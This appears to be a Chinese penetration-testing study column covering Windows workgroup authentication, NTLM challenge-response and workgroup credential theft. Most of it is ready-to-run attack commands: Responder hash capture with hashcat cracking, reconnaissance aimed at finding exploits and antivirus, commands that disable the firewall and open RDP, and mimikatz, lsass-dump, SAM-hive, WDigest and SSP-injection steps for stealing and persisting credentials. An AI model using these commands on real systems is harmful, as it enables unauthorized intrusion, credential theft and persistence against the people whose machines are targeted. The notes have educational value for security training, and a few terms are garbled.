2.1_工作组介绍
-
工作组
- 定义:是指在局域网内多台计算机互连而成的计算机组;
- 修改工作组:
cmd 执行
—>control
—> 系统 —> 重命名这台电脑 —> 更改 —> 进行更改 ; - 加入工作组:输入想加入的工作组即可
- 退出工作组:换个新的工作组名即可退出工作组
-
本地认证
- 定义:不管离线与否,密码正确即可登录;
- 应用:工作组采用的就是本地认证;
- 底层:
winlogin.exe
(管理用户) —>lsass.exe
(本地安全和策略登录) —>SAM 文件
(存放本地用户凭证); - SAM 文件位置:
C:\windows\system32\config
; - 抓取 明文密码 读取内存,抓取
NTLM HASH
密码 读取SAM文件; - LM-HASH 和 NTML-HASH 分别是什么?
1). LM-HASH :针对早期Windows用户密码进行加密的哈希值,其本质是DES加密的HASH值;(Win server 2008后禁用)
2). NTML-HASH :针对当前Windows用户密码进行加密的哈希值,其本质是MD4加密的HASH值;
3). (若 LM-HASH 为:aad3b435b51404eead3b435b51404ee ,则表示为空或被禁用) - LM-HASH 加密方式(了解):
1). 将要加密的内容转为大写;
2). 转为16进制;
3). 密码不足14个字节右补0;
4). 将上述14位16进制分为2组;
5). 将16进制转为2进制;
6). 7 bit 一组,分组后末尾+0(凑齐8个);
7). 再将其转为16进制;
8). 使用 "KGS!@#$%
" 的16进制作为明文,对其加密后拼接; - NTML-HASH 加密方式(了解):
1). 转为16进制,于每个16进制后添加00
2). 将其MD4加密转为16进制即可;
-
网络认证
- NTLM挑战响应协议认证机制
- NTLM认证抓包分析
1). 一般会有8个个包
2). 前4个包用于协商;
3). 第5个包用于启动身份认证和一些规则
4). 第6个包是challenge; ( 其中NTML-v1 是8位,NTML -v2 是16位)
5). 第7个包是Response 的数据包
6). 第8个包是结果信息; - 获取Responder步骤(前提:处于同一网段下):
1). kali 接收执行:sudo responder -I eth0 -Pv
2). 其他主机 发送执行:net use \\sfs\sf
任意账户密码
3). kali 创建文件保存 监听到的内容并使用 hashcat工具 进行破解:hashcat --example-hashes | less | grep NTLM #MODE: 5600
4). kali 运行:hashcat -m 5600 hash文件 密码字典
5). 得到密码 - NTLM-v1 与 HTLM -v2 的区别:
1).NTLM-v1
:8位
2).HTLM -v2
:16位 NTLM
协议认证:他是一种认证方式,用来建立两台电脑的信任,分为NTLM-v1
协议和NTLM-v2
协议NTLM-v2-Hash
:是在NTLM-v2
认证过程中的一段加密的 哈希值NTLM-v1-Hash
:是在NTLM-v1
认证过程中的一段加密的 哈希值
-
工作组信息收集
- 内网信息收集
内网信息收集 |
|
- 使用 命令 进行本地工作组信息收集(CS插件有同样功能)
命令 | 作用 | 目的 |
| 确认对方是否出网 | 根据出网方式,确定攻击命令 |
ipconfig | 获取本机的网络配置信息 | 对网段进行扫描 |
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" systeminfo| findstr /B /C:"OS 名称" /C:"OS 版本" | 查询操作系统和版本信息 | 查找历史版本漏洞 |
echo %PROCESSOR_ARCHITECTURE% | 查看系统体系结构 | 确定上传漏洞工具的版本 |
wmic service list brief | 本机运行的服务 | 确认服务,寻找特定的服务进行利用,后门; 如:mysql,mssql等 |
tasklist wmic process list brief (当 tasklist 不能使用时,你要执行哪条命令) | 查看进程 | 判断是否存在杀软 |
wmic startup get command,caption | 主机运行程序 | 查看当前主机运行的程序 |
schtasks /query /fo LIST /v | 查看计划任务(如果出现无法加载列资源 输入:chcp 437) | 可以编辑或修改计划任务 |
net statistics workstation | 电脑开机时间 | 确认运行周期和生存时间 |
net user wmic useraccount get name ,SID | 用户列表信息 | 查看高权限用户 |
netstat -ano | 查询端口信息 |
|
systeminfo wmic qfe get Caption,Description,HotFixID,InstalledOn | 查看补丁信息 | 寻找可提权的漏洞 |
net share wmic share get name,path,status | 查看默认共享 | 用于内网横移 |
route print | 查询路由信息 | 查看当前主机可以访问哪些网段 |
netsh firewall show state | 查询防火墙是否开启 | 操作模式为禁用则表示关闭 |
Windows server 2003: netsh firewall set opmode disable Windows server 2003之后: netsh firewall set opmode disable 或者netsh advfirewall set allprofiles state off | 关闭防火墙 | |
2003及之前的版本:netsh firewall add allowedprogram 指定程序.exe "allownc" enable netsh advfirewall firewall |
| |
netsh advfirewall firewall add rule name="pass nc"dir=in action=allow program="C:\指定程序名.exe" | 2003之后的版本,允许指定的程序进行全部的连接: | 不建议连接和开启RDP |
netsh advfirewall firewall add rule name="Allownc" dir=out action=allow program="C: \指定程序名.exe" | 允许指定程序退出 | |
netsh advfirewall firewall add rule name="RemoteDesktop" protocol=TCP dir=in localport=3389 action=allow | 允许3389端口放行 | |
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f | 开启3389,允许远程连接 | |
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f | 关闭3389 | |
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f | 设置远程桌面端口 | |
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 | 开启远程桌面 | |
|
|
|
| 查询RDP端口( 0xd3d 即为3389) | |
cmdkey /l | 查询当前保存的凭据 | 破解RDP远程登录凭据 |
arp -a | 内网扫描 | 主机发现 |
dir %APPDATA%\Microsoft\Windows\Recent | 查询最近打开的文件 | 查看是否有敏感的文件 |
net localgroup | 查询本地工作组 | |
net localgroup administrators | 查询管理员组员信息 | 寻找高权限用户 |
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\* | 查询RDP凭据 | 破解RDP远程登录凭据 |
wmic /node:localhost /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:list | 查询杀软等信息 | 查看杀软,看是否有对应的绕过方式 |
-
密码抓取
-
横向移动的思路:抓密码 --> 横向移动 --> 抓密码 --> 横向移动 .....
-
密码关注点(6):
1). 本地账号密码(或者hash)
2). 域账号密码(或者hash)
3). RDP账号密码
4). 浏览器账号密码
5). 数据库账号Miami
6). 本地保存账号密码文件 -
为什么能下载明文密码:
1). 因为会在内存中(lsass.exe)保存明文的密码,
2). SAM文件中读取Hash密码; (C:\windows\system32\config) -
抓取密码(前提:具有管理员权限(至少为过了UAC的用户))
在线读取 明文 mimikatz mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
CS 插件 凭证提取(A)- 抓取明文密码(M) HASH mimikatz mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
CS 插件 凭证提取(A)- 抓取Hash(D) 工具 GetPassword 64位,运行该程序即可抓取明文密码 PwDump7 获得所有账户的NTLMHash QuarksPwDump 获得所有账户的NTLMHash 离线读取 明文 - 提升特权模式:
privilege::debug
- 查看lsass.exe进程PID:
tasklist | findstr lsass.exe
- 使用powershell 导出 lsass :
powershell rundll32 C:\windows\system32\comsvcs.dll, MiniDump 588 C:\Users\lenovo\Desktop\lsass2.dmp full
C:\windows\system32\comsvcs.dll
为目标文件MiniDump
后跟comsvcs.dll
的进程号C:\Users\lenovo\Desktop\lsass2.dmp
为保存到的路径
- win10 使用 导出 lsass :
powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump "lsass.exe的PID" C:\lsass.dmp full"
- 读取:
mimikatz.exe "sekurlsa::minidump lsass2.dmp" "sekurlsa::logonpasswords full" exit
HASH reg save hklm\sam sam.hive
导出到 sam.hive 中reg save hklm\system system.hive
导出到 system.hive 中- 离线读取hash:
mimikatz lsadump::sam /sam:sam.hive /system:system.hive
- 提升特权模式:
-
高版本系统密码抓取
-
修改WDigest注册表获取系统密码
# 攻击者可以通过修改注册表的方式抓取明文,需要用户重新登录后才能成功抓取。 # 开启 注册表 reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f # 查询一下是否存在该值 reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /V UseLogonCredential# 查询当前登录的用户 query user# 注销 logoff ID# 上线后,使用CS插件抓取明文密码
-
内存注入SSP获取系统密码
# 电脑重启会失效 mimikatz "privilege::debug" "misc::memssp" exit# 赋予调试权限 privilege::debug# 使用mimikatz读取内存中的密码 misc::memssp# 锁屏 rundll32.exe user32.dll,LockWorkStation#用户重新登录后密码会被记录在C:\Windows\System32\mimilsa.log
-
注册表添加SSP获取系统密码
# 1+2 实现权限维持 # 修改注册表 reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Security Packages" /t REG_MULTI_SZ /d mimilib.dll /f # 将 mimikatz 下的 mimilib.dll 置于 C:\Windows\System32 下 # 重启后就会加载SSP# 关机 shutdown /s /t 0# 查看账号密码 C:\Windows\System32\kiwissp.log
-
免责声明
-
本专栏内容仅供参考,不构成任何投资、学习或专业建议。读者在参考本专栏内容时,应结合自身实际情况,谨慎作出决策。
-
本专栏作者及发布平台尽力确保内容的准确性和可靠性,但无法保证内容的绝对正确。对于因使用本专栏内容而导致的任何损失,作者及发布平台概不负责。
-
本专栏部分内容来源于网络,版权归原作者所有。如有侵权,请及时联系我们,我们将尽快予以处理。
-
读者在阅读本专栏内容时,应遵守相关法律法规,不得将内容用于非法用途。如因读者行为导致不良后果,作者及发布平台不承担任何责任。
-
本免责声明适用于本专栏所有内容,包括文字、图片、音频、视频等。读者在阅读本专栏内容时,视为已接受本免责声明。
-
作者及发布平台保留对本免责声明的解释权和修改权,如有变更,将第一时间在本专栏页面进行公告。读者继续使用本专栏内容,视为已同意变更后的免责声明。
敬请广大读者谅解。如有疑问,请联系我们。谢谢!